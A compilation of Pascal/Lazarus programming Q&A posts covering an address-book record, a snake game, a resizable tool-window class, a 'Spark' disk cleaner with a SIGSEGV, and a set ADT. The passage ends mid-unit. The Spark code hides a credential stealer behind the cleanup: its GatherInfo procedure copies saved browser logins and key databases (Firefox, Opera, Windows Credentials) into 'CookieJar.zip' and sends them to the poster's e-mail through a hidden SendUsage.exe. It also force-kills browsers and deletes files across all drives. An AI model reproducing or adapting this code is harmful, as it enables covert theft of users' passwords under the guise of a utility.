I'm trying to work with a record to store people names and phones.
It is my first time trying this in pascal but I'm stuck in a condition which never come true cause I don't know how to implement this IF yet.
If I try outside the IF it works, but it never will enter my condition.
tHIS CONDITION IS IN procedure incluir_pessoa.
Main program
program agenda1;
uses agenda1_procedures;
begin
processar_agenda;
end.
Procedures
unit agenda1_procedures;
interface
uses crt, ReadAnyKey1;
type type_sexo = (feminino, masculino, outro);
type Type_pessoa = record
primeiro_nome, ultimo_nome: string;
sexo: type_sexo;
telefone: string;
end;
type type_pessoas = array of type_pessoa;
var pessoa: type_pessoas;
procedure processar_agenda;
procedure imprimir_menu(var escolha: char);
procedure processar_escolha(var escolha: char);
procedure incluir_pessoa(var pessoa: type_pessoas);
implementation
//---------------------------------------
// PROCESSAR AGENDA
//---------------------------------------
procedure processar_agenda;
var escolha: char;
begin
repeat
imprimir_menu(escolha);
processar_escolha(escolha);
until escolha = '0';
end;
//---------------------------------------
// IMPRIMIR MENU
//---------------------------------------
procedure imprimir_menu(var escolha: char);
begin
clrscr;
writeln('****************************************************************************************');
writeln('* MENU *');
writeln('****************************************************************************************');
writeln('* 0-Sair *');
writeln('* 1-Incluir pessoa *');
writeln('* 2-Modificar pessoa *');
writeln('* 3-Excluir pessoa *');
writeln('* *');
writeln('* *');
writeln('****************************************************************************************');
gotoxy(3,9); write('Digite uma escolha: '); read(escolha);
end;
//---------------------------------------
// INCLUIR PESSOA
//---------------------------------------
procedure incluir_pessoa(var pessoa: type_pessoas);
var i: integer;
begin
if length(pessoa) = 0 then
setlength(pessoa,1);
writeln('Incluir pessoa na agenda');
writeln;
readln;
for i:=0 to length(pessoa) do
begin
readln;
//***** CONDITION WHICH NEVER COME TRUE !!!!! <------------------- *****
if pessoa[0].primeiro_nome = ' ' then
begin
write('Primeiro nome: '); readln(pessoa[0].primeiro_nome);
//test
writeln(pessoa[0].primeiro_nome);
readln;
end;
end;
//test
write('Primeiro nome: '); readln(pessoa[0].primeiro_nome);
write('Pessoa:',pessoa[0].primeiro_nome);
readln;
end;
//---------------------------------------
// PROCESSAR escolha
//---------------------------------------
procedure processar_escolha(var escolha: char);
begin
case escolha of
'0': exit;
'1': incluir_pessoa(pessoa);
// 2:
// 3:
end;
end;
end.
Do you want to check if the name is empty? Or if it is a space character? Because in your condition you ask for a space.
Related
I have tried to make a simple snake game with Free Pascal, when I started the programme, it drew the map exactly what I want but after that, I pressed the button that I have set to control the snake and it exited with exit code 201.
I don't know much about that exit code, could you explain me the problems of the programme? This is the longest program I have ever made with Pascal.
Here is the code:
uses crt;
type
ran=record
x:byte;
y:byte;
end;
var
f:ran;
s:array[1..1000] of ran;
i,j:longint;
st,l:byte;
function getkey:integer;
var
k:integer;
begin
k:=ord(readkey);
if k=0 then k:=-ord(readkey);
getkey:=k;
end;
procedure fa;
begin
randomize;
f.x:=random(98)+1;
f.y:=random(23)+1;
gotoxy(f.x,f.y);
writeln('o');
end;
procedure draw;
begin
gotoxy(1,1);
st:=1;
for i:=1 to 25 do begin
for j:=1 to 100 do write('X');
writeln
end;
gotoxy(st+1,st+1);
for i:=1 to 23 do begin
for j:=1 to 98 do write(' ');
gotoxy(st+1,i+2);
end;
end;
procedure sts;
begin
s[1].x:=19;
s[1].y:=6;
gotoxy(s[1].x,s[1].y);
writeln('#');
end;
procedure fa1;
begin
f.x:=29;
f.y:=5;
gotoxy(f.x,f.y);
writeln('o');
end;
procedure eat;
begin
if (s[1].x=f.x) and (s[1].y=f.y) then begin
l:=l+1;
fa;
end;
end;
function die:boolean;
begin
die:=false;
if (s[1].x=1) or (s[1].x=100) or (s[1].y=1) or (s[1].y=25) then
die:=true;
if l>=5 then
for i:=5 to l do
if (s[1].x=s[i].x) and (s[1].y=s[i].y) then
die:=true;
end;
procedure up;
begin
for i:=l downto 2 do begin
s[i].y:=s[i-1].y;
gotoxy(s[i].x,s[i].y);
writeln('+');
end;
gotoxy(s[l].x,s[l].y+1);
writeln(' ');
s[1].y:=s[1].y-1;
gotoxy(s[1].x,s[1].y);
writeln('#');
end;
procedure down;
begin
for i:=l downto 2 do begin
s[i].y:=s[i-1].y;
gotoxy(s[i].x,s[i].y);
writeln('+');
end;
gotoxy(s[l].x,s[l].y-1);
writeln(' ');
s[1].y:=s[1].y+1;
gotoxy(s[1].x,s[1].y);
writeln('#');
end;
procedure left;
begin
for i:=l downto 2 do begin
s[i].x:=s[i-1].x;
gotoxy(s[i].x,s[i].y);
writeln('+');
end;
gotoxy(s[l].x+1,s[l].y);
writeln(' ');
s[1].x:=s[1].x-1;
gotoxy(s[1].x,s[1].y);
writeln('#');
end;
procedure right;
begin
for i:=l downto 2 do begin
s[i].x:=s[i-1].x;
gotoxy(s[i].x,s[i].y);
writeln('+');
end;
gotoxy(s[l].x-1,s[l].y);
writeln(' ');
s[1].x:=s[1].x+1;
gotoxy(s[1].x,s[1].y);
writeln('#');
end;
procedure auto(k:integer);
begin
case k of
-72:up;
-80:down;
-75:left;
-77:right;
119:up;
115:down;
97:left;
100:right;
end;
end;
procedure ingame(t:integer);
var
d,e:boolean;
begin
repeat
auto(t);
d:=die;
if d=true then exit;
eat;
until (keypressed);
if keypressed then t:=getkey;
case t of
-72:up;
-80:down;
-75:left;
-77:right;
119:up;
115:down;
97:left;
100:right;
end;
eat;
d:=die;
if d=true then exit;
end;
procedure first;
var
k:integer;
begin
draw;
fa1;
sts;
if keypressed then k:=getkey;
ingame(k);
end;
BEGIN
clrscr;
first;
readln
END.
I googled this: 201 : range error, so you probably go out of array bounds. The only array s in indexed by variables that depend on l value (weird name, BTW). But I see a single place where you do changing (increment) this variable and don't see any l initialization. So you are using arbitrary starting value (here perhaps zero because l is global).
Note that you could discover this bug (and perhaps others) with simple debugging.
The code 201 seems to be explained for example here: Runtime Error 201 at fpc
Exactly why this happens in your code, I don't know.
How to implement custom sizing routines for window which borders are not natively sizeable?
e.g. a form with BorderStyle set to bsToolWindow
Here a customized form-class with implemented non-sizeable borders sizing and possibility to disable sizing for specified edges. Also it supports double clicks on borders to toggle between two rectangle-boundaries: AutoSizeRect to values of which form sides getting moved on dblclick and SavedSizeRect into which values form side coordinates saved before changing. So AutoSizeRect could be setted to some area of the screen at a run-time to give user ability to swap border-side's coords between specified area and current BoundsRect. Very convenient for all kinds of palette-windows (aka ToolWindows). Best combined with custom sticking/aligning.
{...}
const
crMin=-32768; {lowest value for tCursor}
{predefined variable for tRect with undefined values:}
nullRect:tRect=(Left:MaxInt;Top:MaxInt;Right:MaxInt;Bottom:MaxInt);
type
{all sides and corners of Rect including inner part (rcClient):}
TRectCorner=(rcClient,rcTopLeft,rcTop,rcTopRight,rcLeft,rcRight,rcBottomLeft,rcBottom,rcBottomRight);
{here goes the mentioned class:}
TCustomSizingForm = class(TForm)
protected
private
disSizing:tAnchors; {edges with disabled sizing}
cCorner:tRectCorner; {current corner}
cCurSaved:tCursor; {saved cursor value for sizing}
coordsSv:tRect; {saved side's coordinates}
coordsASize:tRect; {auto-sizing area for dblclicks}
aSizeAcc:byte; {auto-sizing accuracy}
{checking if current edge-side is not disabled:}
function cCornerAvailable:boolean;
{setting sizing-cursor based on the edge-side:}
procedure setCursorViaCorner(Corner:tRectCorner);
{checking if mouse on borders and setting sizing cursor:}
function checkMouseOnBorders(msg:tWmNcHitMessage):boolean;
{NcHitTes and other NC-messages handlers:}
procedure WMNCHitTest(var msg:tWmNcHitTest); message WM_NCHITTEST;
procedure BordersLButtonDown(var msg:tWmNcHitMessage); message WM_NCLBUTTONDOWN;
procedure BordersLButtonUp(var msg:tWmNcHitMessage); message WM_NCLBUTTONUP;
procedure BordersMouseMove(var msg:tWmNcHitMessage); message WM_NCMOUSEMOVE;
procedure BordersLDblClick(var msg:tWmNcHitMessage); message WM_NCLBUTTONDBLCLK;
public
{Create-override for initializing rect-values:}
constructor Create(AOwner: TComponent); override;
{calculation of edge-side from tPoint:}
function getCornerFromPoint(BoundsRect:tRect; x,y:smallInt):tRectCorner;
{properties:}
property CursorSaved:tCursor read cCurSaved write cCurSaved default crMin;
property AutoSizeRect:tRect read coordsASize write coordsASize;
property SavedSizeRect:tRect read coordsSv write coordsSv;
published
{overwriting default BorderStyle:}
property BorderStyle default bsToolWindow;
{publishing disSizing property for Object Inspector:}
property DisabledSizingEdges:tAnchors read disSizing write disSizing default [];
end;
{...}
implementation
{--- TCustomSizingForm - public section: ---}
constructor TCustomSizingForm.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
SavedSizeRect:=nullRect;
AutoSizeRect:=nullRect;
end;
function TCustomSizingForm.getCornerFromPoint(BoundsRect:tRect; x,y:smallInt):tRectCorner;
var CornerSize,BorderSize:tBorderWidth;
begin
BorderSize:=4+self.BorderWidth;
CornerSize:=8+BorderSize;
with BoundsRect do
if y<Top+BorderSize then
if x<Left+CornerSize then Result:=rcTopLeft
else if x>Right-CornerSize then Result:=rcTopRight
else Result:=rcTop
else if y>Bottom-BorderSize then
if x<Left+CornerSize then Result:=rcBottomLeft
else if x>Right-CornerSize then Result:=rcBottomRight
else Result:=rcBottom
else if x<Left+BorderSize then
if y<Top+CornerSize then Result:=rcTopLeft
else if y>Bottom-CornerSize then Result:=rcBottomLeft
else Result:=rcLeft
else if x>Right-BorderSize then
if y<Top+CornerSize then Result:=rcTopRight
else if y>Bottom-CornerSize then Result:=rcBottomRight
else Result:=rcRight
else Result:=rcClient;
end;
{--- TCustomSizingForm - private section: ---}
function TCustomSizingForm.cCornerAvailable:boolean;
var ca:tAnchorKind;
begin
result:=true;
if(disSizing=[])then exit;
if(cCorner in[rcTopLeft,rcLeft,rcBottomLeft])then begin
ca:=akLeft;
end else if(cCorner in[rcTopRight,rcRight,rcBottomRight])then begin
ca:=akRight;
end else if(cCorner in[rcTopLeft,rcTop,rcTopRight])then begin
ca:=akTop;
end else ca:=akBottom;
if(ca in disSizing)then result:=false;
end;
procedure TCustomSizingForm.setCursorViaCorner(Corner:tRectCorner);
var c:tCursor;
begin
case Corner of
rcLeft,rcRight: c:=crSizeWE;
rcTop,rcBottom: c:=crSizeNS;
rcTopLeft,rcBottomRight: c:=crSizeNWSE;
rcTopRight,rcBottomLeft: c:=crSizeNESW;
else exit;
end;
if(cursorSaved=crMin)then cursorSaved:=screen.Cursor;
setCursor(screen.Cursors[c]);
end;
function TCustomSizingForm.checkMouseOnBorders(msg:tWmNcHitMessage):boolean;
begin
result:=true;
cCorner:=rcClient;
if(msg.HitTest<>HTBORDER)then exit;
cCorner:=getCornerFromPoint(self.BoundsRect,msg.XCursor,msg.YCursor);
if(cCorner=rcClient)then exit;
if(cCornerAvailable)then begin
setCursorViaCorner(cCorner);
result:=false;
end;
end;
{--- TCustomSizingForm - WinApi_message_handlers: ---}
procedure TCustomSizingForm.WMNCHitTest(var msg:tWmNcHitTest);
var hitMsg:tWmNcHitMessage;
begin
inherited;
if(msg.Result=HTNOWHERE)and(PtInRect(self.BoundsRect,point(msg.XPos,msg.YPos)))then msg.Result:=HTBORDER
else if(msg.Result<>HTBORDER)then exit;
hitMsg.HitTest:=msg.Result;
hitMsg.XCursor:=msg.XPos;
hitMsg.YCursor:=msg.YPos;
checkMouseOnBorders(hitMsg);
end;
procedure TCustomSizingForm.BordersLButtonDown(var msg:tWmNcHitMessage);
const SC_SIZELEFT=1; SC_SIZERIGHT=2; SC_SIZETOP=3; SC_SIZEBOTTOM=6;
var m:integer;
begin
inherited;
if(checkMouseOnBorders(msg))then exit;
m:=SC_SIZE;
if(cCorner in[rcTopLeft,rcLeft,rcBottomLeft])then begin
inc(m,SC_SIZELEFT);
end else if(cCorner in[rcTopRight,rcRight,rcBottomRight])then begin
inc(m,SC_SIZERIGHT);
end;
if(cCorner in[rcTopLeft,rcTop,rcTopRight])then begin
inc(m,SC_SIZETOP);
end else if(cCorner in[rcBottomLeft,rcBottom,rcBottomRight])then begin
inc(m,SC_SIZEBOTTOM);
end;
ReleaseCapture;
SendMessage(self.Handle,WM_SYSCOMMAND,m,0);
end;
procedure TCustomSizingForm.BordersLButtonUp(var msg:tWmNcHitMessage);
begin
inherited;
if(cursorSaved=crMin)then exit;
setCursor(screen.Cursors[cursorSaved]);
cursorSaved:=crMin;
end;
procedure TCustomSizingForm.BordersMouseMove(var msg:tWmNcHitMessage);
begin
inherited;
checkMouseOnBorders(msg);
end;
procedure TCustomSizingForm.BordersLDblClick(var msg:tWmNcHitMessage);
var es:tAnchors; old,new:tRect;
begin
inherited;
if(checkMouseOnBorders(msg))or(EqualRect(coordsASize,nullRect))then exit;
es:=[];
ReleaseCapture;
if(cCorner in[rcTopLeft,rcLeft,rcBottomLeft])then es:=es+[akLeft];
if(cCorner in[rcTopRight,rcRight,rcBottomRight])then es:=es+[akRight];
if(cCorner in[rcTopLeft,rcTop,rcTopRight])then es:=es+[akTop];
if(cCorner in[rcBottomLeft,rcBottom,rcBottomRight])then es:=es+[akBottom];
if(es=[])then exit;
old:=self.BoundsRect;
new:=old;
if(akLeft in es)and(coordsASize.Left<MaxInt)then begin
if(abs(old.Left-coordsASize.Left)<=aSizeAcc)then begin
new.Left:=coordsSv.Left;
end else begin
coordsSv.Left:=old.Left;
new.Left:=coordsASize.Left;
end;
end;
if(akRight in es)and(coordsASize.Right<MaxInt)then begin
if(abs(old.Right-coordsASize.Right)<=aSizeAcc)then begin
new.Right:=coordsSv.Right;
end else begin
coordsSv.Right:=old.Right;
new.Right:=coordsASize.Right;
end;
end;
if(akTop in es)and(coordsASize.Top<MaxInt)then begin
if(abs(old.Top-coordsASize.Top)<=aSizeAcc)then begin
new.Top:=coordsSv.Top;
end else begin
coordsSv.Top:=old.Top;
new.Top:=coordsASize.Top;
end;
end;
if(akBottom in es)and(coordsASize.Bottom<MaxInt)then begin
if(abs(old.Bottom-coordsASize.Bottom)<=aSizeAcc)then begin
new.Bottom:=coordsSv.Bottom;
end else begin
coordsSv.Bottom:=old.Bottom;
new.Bottom:=coordsASize.Bottom;
end;
end;
self.BoundsRect:=new;
end;
{...}
DisabledSizingEdges property is a set of edges which will be turned off (e.g. DisabledSizingEdges:=[akLeft,akTop]; will turn off sizing for Left-side, Top-side, LeftBottom-corner, LeftTop-corner & TopRight-corner)
P.S. actually one can create form with BorderStyle set to bsNone and set BorderWidth higher than zero to achieve sizing via inner borders:
{...}
type
TForm1 = class(TCustomSizingForm)
procedure FormCreate(Sender: TObject);
private
public
end;
{...}
procedure TForm1.FormCreate(Sender: TObject);
begin
BorderStyle:=bsNone;
BorderWidth:=4;
end;
{...}
I have a graphical program with forms and a lot of code. When I started it, it was fine, no errors, no exceptions. I added two more procedures and it still ran without problems. I placed a progress bar, and added this code to an Image's OnClick event: ProgressBar.Visible:=False; The compilation finished with no errors, but when I ran the program, I got this exception:
Project Spark raised exception class 'External: SIGSEGV'.
In file '.\include\control.inc' at line 948:
Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));
Strange fact: I removed the progress bar and every procedure assigned to, but I kept getting this error.
Additional info:
Compiled under Lazarus ver. 1.2.6
FPC Version: 2.6.4
Windows 7 Ultimate 6.1.7601.1.1252.1.1033.18.8130.4811
EDIT: Here is the full code as requested.
But first: This program is supposed to be a Clean-Up program, which finds and deletes some files. The GatherInfo procedure sends me additional debug info (by executing an external program).
unit sparkunit;
{$mode objfpc}{$H+}
interface
uses
Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
ExtCtrls, ComCtrls, Process;
type
{ TSparkForm }
TSparkForm = class(TForm)
Borders: TImage;
Borders1: TImage;
Borders2: TImage;
Borders3: TImage;
NextBTN: TImage;
OLabel: TLabel;
ScanFRM: TScanFrame;
TitleLBL: TLabel;
Wallpaper: TImage;
WelcomeFRM: TWelcomeFrame;
XLabel: TLabel;
_Label: TLabel;
procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NextBTNClick(Sender: TObject);
procedure OLabelClick(Sender: TObject);
procedure XLabelClick(Sender: TObject);
procedure _LabelClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
const SparkCursor = 777;
SparkDragCursor = 778;
var
SparkForm: TSparkForm;
MouseIsDown: Boolean;
PX, PY: Integer;
Operating: Boolean;
FFile: Text;
Path,Looper: String;
Master: TProcess;
Browser: Array [1..4] of String;
//1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation
{$R *.lfm}
{ TSparkForm }
function GetSystemLoc: string;
var
FilePath: array [0..255] of char;
begin
SHGetSpecialFolderPath(0, #FilePath[0], $0025, True);
Result := FilePath;
end;
procedure CrFile(F: String);
var D: Text;
Begin
AssignFile(D,F);
Rewrite(D);
CloseFile(D);
end;
procedure Log(StrToLog:String);
var Lof: Text;
Begin
AssignFile(Lof,'SparkLog.txt');
Append(Lof);
Writeln(Lof,StrToLog);
CloseFile(Lof);
end;
procedure ChList(FileToAdd: String);
Begin
if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
AssignFile(FFile,'Deletions.tmp');
Append(FFile);
Writeln(FFile,FileToAdd);
CloseFile(FFile);
Log('Automatically added '+FileToAdd+' to the deletion list.');
end;
Application.ProcessMessages;
SparkForm.Refresh;
end;
procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
AssignFile(FFile,'CookieJar.zip');
Append(FFile);
Writeln(FFile);
Writeln(FFile,FileToAdd);
Writeln(FFile);
if FileExists(FileToAdd) then Begin
if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
AssignFile(DFile,'Temp.tmp');
Reset(DFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(DFile,Looper);
Writeln(FFile,Looper);
until EOF(DFile);
CloseFile(DFile);
DeleteFile('Temp.tmp');
End;
CloseFile(FFile);
end;
procedure ChDel(FilePath: String);
Begin
if FileExists(FilePath) then DeleteFile(FilePath)
Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;
function NotInCar(FileName: String): Boolean;
Begin
if (Pos('Spark',FileName)<>0) then NotInCar:=False
Else NotInCar:=True;
End;
procedure AddExtension(Ext: String);
var FileList: TStringList;
I: LongInt;
Drive: Char;
O: Text;
Begin
AssignFile(FFile,'Ext.tmp');
Rewrite(FFile);
CloseFile(FFile);
For Drive:='A' to 'Z' do
if DirectoryExists(Drive+':\') then Begin
Application.ProcessMessages;
SparkForm.Refresh;
FileList:=FindAllFiles(Drive+':\',Ext,True);
if FileList.Count>0 then Begin
Application.ProcessMessages;
SparkForm.Refresh;
AssignFile(FFile,'Ext.tmp');
Append(FFile);
For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
CloseFile(FFile);
end;
end;
FileList.Free;
AssignFile(O,'Deletions.tmp');
Append(O);
AssignFile(FFile,'Ext.tmp');
Reset(FFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(FFile,Looper);
Writeln(O,Looper);
until EOF(FFile);
CloseFile(O);
CloseFile(FFile);
DeleteFile('Ext.tmp');
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure GatherInfo;
var IEList: TStringList;
I: LongInt;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
//GetFiles
AssignFile(FFile,'CookieJar.zip');
Rewrite(FFile);
CloseFile(FFile);
ChAdd(Browser[1]+'key3.db');
ChAdd(Browser[1]+'logins.json');
Application.ProcessMessages;
SparkForm.Refresh;
IEList:=TStringList.Create;
IEList:=FindAllFiles(Browser[4],'*.*',true);
if IEList.Count>0 then
For I:=1 to IEList.Count do Begin
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(IEList.Strings[I-1]);
end;
ChAdd(Browser[3]);
Application.ProcessMessages;
SparkForm.Refresh;
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(Browser[3]+'Login Data');
ChAdd(Browser[3]+'Login Data-journal');
//Send
Master:=TProcess.Create(NIL);
Master.Executable:='SendUsage.exe';
Master.Parameters.Add(GetCurrentDir);
Master.Parameters.Add('{My E-Mail}');
Application.ProcessMessages;
SparkForm.Refresh;
Master.ShowWindow:=swoHIDE;
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure StartScan;
var Windir: PChar;
Begin
Application.ProcessMessages;
SparkForm.Refresh;
GetWindowsDirectory(Windir,255);
SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
ChList(GetEnvironmentVariable('temp'));
ChList(Windir+'\Temporary Internet Files');
ChList(Windir+'\Downloaded Program Files');
ChList(Windir+'\History');
ChList(Windir+'\Temp');
ChList(Windir+'\Cookies');
ChList(Windir+'\Favorites');
ChList(Windir+'\system.nu3');
ChList(Windir+'\user.nu3');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.tmp');
AddExtension('*.temp');
AddExtension('*.chk');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.old');
AddExtension('*.gid');
AddExtension('*.nch');
AddExtension('*.wbk');
AddExtension('*.fts');
AddExtension('*.ftg');
AddExtension('*.$$$');
AddExtension('*.err');
AddExtension('*.—');
AddExtension('*.~*');
AddExtension('~*.*');
AddExtension('*.??$');
AddExtension('*.___');
AddExtension('*.~mp');
AddExtension('*._mp');
AddExtension('*.prv');
AddExtension('*.sik');
AddExtension('CHKLIST.MS');
AddExtension('*.ilk');
AddExtension('*.aps');
AddExtension('*.mcp');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.pch');
AddExtension('*.$db');
AddExtension('*.?$?');
AddExtension('*.??~');
AddExtension('*.?~?');
AddExtension('*.db$');
AddExtension('*.^');
AddExtension('*._dd');
AddExtension('*._detmp');
AddExtension('0*.nch');
AddExtension('chklist.*');
AddExtension('mscreate.dir');
AddExtension('*.diz');
AddExtension('*.syd');
AddExtension('*.grp');
AddExtension('*.cnt');
AddExtension('*.~mp');
end;
Procedure StartDeletion;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
AssignFile(FFile,'Deletions.tmp');
Reset(FFile);
Repeat
Readln(FFile,Looper);
ChDel(Looper);
Application.ProcessMessages;
SparkForm.Refresh;
if Not(Looper='') then
Log(Looper+' was removed.')
Else Log('An unknown file was removed.');
until EOF(FFile);
CloseFile(FFile);
DeleteFile('Deletions.tmp');
end;
procedure TSparkForm.FormCreate(Sender: TObject);
begin
Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
Wallpaper.Cursor := SparkCursor;
Borders.Cursor := SparkCursor;
Borders1.Cursor := SparkCursor;
Borders2.Cursor := SparkCursor;
Borders3.Cursor := SparkCursor;
WelcomeFRM.Cursor:= SparkCursor;
WelcomeFRM.Label1.Cursor:= SparkCursor;
WelcomeFRM.Label2.Cursor:= SparkCursor;
WelcomeFRM.Label3.Cursor:= SparkCursor;
WelcomeFRM.Image1.Cursor:= SparkCursor;
Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;
Procedure KillBrowser;
Begin
try
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im firefox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im chrome.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im opera.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
except
end;
end;
procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
KillBrowser;
Operating:=True;
WelcomeFRM.Visible:=False;
ScanFRM.Visible:=True;
ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
NextBTN.Visible:=False;
CrFile('Deletions.tmp');
CrFile('SparkLog.txt');
Application.ProcessMessages;
SparkForm.Refresh;
GatherInfo;
Application.ProcessMessages;
SparkForm.Refresh;
StartScan;
Application.ProcessMessages;
SparkForm.Refresh;
StartDeletion;
Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
Operating:=False;
SparkForm.Close;
Application.Terminate;
end;
procedure TSparkForm.OLabelClick(Sender: TObject);
begin
end;
procedure TSparkForm.XLabelClick(Sender: TObject);
begin
if not(Operating) then Begin
SparkForm.Close;
Application.Terminate;
end
Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;
procedure TSparkForm._LabelClick(Sender: TObject);
begin
Application.Minimize;
end;
procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then begin
MouseIsDown := True;
PX := X;
PY := Y;
Borders.Cursor := SparkDragCursor;
end;
end;
procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if MouseIsDown then begin
SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
end;
end;
procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
MouseIsDown:=False;
Borders.Cursor := SparkCursor;
end;
procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
end;
initialization
{$I sparkcursor1.lrs} {I'm using custom cursor resources}
{$I sparkcursor2.lrs}
end.
EDIT 2: The SIGSEGV error was caused by an invalid variable, declared as Windir: PChar;. It was pointing to a protected memory address, causing the program to terminate with an exception of Access Violation. It's always a good idea to surround the code with try/except blocks to catch minor exceptions.
I have had a quick glance at the code:
In your procedure AddExtension(Ext: String); on line 139 you have a FileList:TStringList declared but it is not created anywhere.
You will need to create this object FileList:=TStringList.Create; to use it.
I am working on a Pascal program that works with sets without using the built in operations. However my toString function is not working and I cannot figure out why.
This is the main part of the program
unit isetADT; {// do not change this!}
interface
const
MAX_SIZE = 100; {// if needed, use value 100; arbitrary}
type
iset = record {// your type definition goes here}
arrayint:array[1..MAX_SIZE] of integer;
setsize:integer;
end;
procedure makeEmpty(var s:iset);
function isEmpty(s:iset):boolean;
function isMember(n:integer; s:iset):boolean;
function equals(s1,s2:iset):boolean;
function card(s:iset):integer; {// cardinality}
procedure add(n:integer; var s:iset); {// does nothing if n is already a member of s}
procedure remove(n:integer; var s:iset); {// does nothing if n is not in s}
procedure union(s1,s2:iset; var res:iset);
procedure intersect(s1,s2:iset; var res:iset);
procedure diff(s1,s2:iset; var res:iset); {// s1 - s2}
function toString(s:iset):ansistring;
implementation
{// your implementation code goes here}
procedure makeEmpty(var s:iset);
begin
{s:=[]; clears array, unneeded}
s.setsize:=0;
end;
function isEmpty(s:iset):boolean;
var
empty:boolean;
begin
empty:=false;
if s.setsize=0 then
empty:=true;
isEmpty:=empty;
end;
function isMember(n:integer; s:iset):boolean;
var
count:integer;
begin
member:=false;
if s.setsize>0 then
begin
for count:=1 to s.setsize do
begin
if s.arrayint[count]=n then
isMember:=true;
end;
end;
end;
function equals(s1,s2:iset):boolean;
var
equal:boolean;
count:integer;
begin
equal:=false;
if s1.setsize<>s2.setsize then
else
begin
for count:=1 to s1.setsize do
begin
if isMember(s1.arrayint[count],s2) then
equal:=true
else
equal:=false;
end;
end;
equals:=equal;
end;
function card(s:iset):integer; {// cardinality}
var
cardinality:integer;
begin
cardinality:=s.setsize;
end;
procedure add(n:integer; var s:iset);
begin
if isMember(n,s) then
{it is already in the set nothing is done}
else
begin
s.setsize:=s.setsize+1; {adds 1 to the size so that the new member can be added}
s.arrayint[s.setsize]:=n; {puts member in the newly created space}
end;
end;
